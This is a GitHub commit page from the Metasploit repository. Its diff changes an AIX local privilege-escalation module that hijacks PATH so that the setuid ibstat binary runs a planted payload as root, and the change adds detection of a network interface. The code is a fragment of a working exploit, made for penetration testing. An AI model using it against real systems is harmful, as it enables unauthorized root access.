Skip to content

Commit dc7ec45

Browse files
committed
Land rapid7#3384, AIX ibstat exploit interface detection
2 parents ebd70cb + 2845929 commit dc7ec45

File tree

1 file changed

+15
-1
lines changed

1 file changed

+15
-1
lines changed

modules/exploits/aix/local/ibstat_path.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,8 +110,22 @@ def exploit
110110
cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
111111
cmd_exec("export PATH")
112112

113+
print_status("Finding interface name...")
114+
iface = ""
115+
cmd_exec("lsdev -Cc if").each_line do |line|
116+
if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/)
117+
iface = line.split(/\s+/)[0]
118+
print_status("Found interface #{iface}.")
119+
break
120+
end
121+
end
122+
if iface == ""
123+
iface = "en0"
124+
print_status("Found no interface, defaulting to en0.")
125+
end
126+
113127
print_status("Triggering vulnerablity...")
114-
cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
128+
cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null")
115129

116130
# The $PATH variable must be restored before the payload is executed
117131
# in cases where an euid root shell was gained

0 commit comments

Comments
 (0)